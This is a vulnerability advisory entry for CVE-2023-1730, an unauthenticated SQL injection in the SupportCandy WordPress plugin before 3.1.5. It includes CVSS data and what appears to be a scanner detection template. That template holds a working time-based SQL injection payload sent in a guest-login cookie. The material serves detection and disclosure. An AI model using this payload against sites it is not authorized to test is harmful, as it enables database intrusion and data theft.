9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0.053 Low
EPSS
Percentile
93.1%
The SupportCandy WordPress plugin before 3.1.5 does not validate and escape user input before using it in an SQL statement, which could allow unauthenticated attackers to perform SQL injection attacks.
id: CVE-2023-1730
info:
name: SupportCandy < 3.1.5 - Unauthenticated SQL Injection
author: theamanrawat
severity: critical
description: |
The SupportCandy WordPress plugin before 3.1.5 does not validate and escape user input before using it in an SQL statement, which could allow unauthenticated attackers to perform SQL injection attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
remediation: Fixed in version 3.1.5
reference:
- https://wpscan.com/vulnerability/44b51a56-ff05-4d50-9327-fc9bab74d4b7
- https://wordpress.org/plugins/supportcandy/
- https://nvd.nist.gov/vuln/detail/CVE-2023-1730
- https://github.com/tanjiti/sec_profile
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-1730
cwe-id: CWE-89
epss-score: 0.04365
epss-percentile: 0.92346
cpe: cpe:2.3:a:supportcandy:supportcandy:*:*:*:*:*:wordpress:*:*
metadata:
verified: "true"
max-request: 1
vendor: supportcandy
product: supportcandy
framework: wordpress
tags: cve2023,cve,sqli,wpscan,wordpress,supportcandy,unauth
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Cookie: wpsc_guest_login_auth={"email":"' AND (SELECT 42 FROM (SELECT(SLEEP(6)))NNTu)-- cLmu"}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(body, "supportcandy")'
condition: and
# digest: 4a0a00473045022100a7f2d28c6bf94595593025ec52e5895af660c64274a689070f34e319f39889ec022073bba0fe01da7629b66e32798c46291975535b829e30ced65d1cbbe3c4e26711:922c64590222798bb761d5b6d8e72950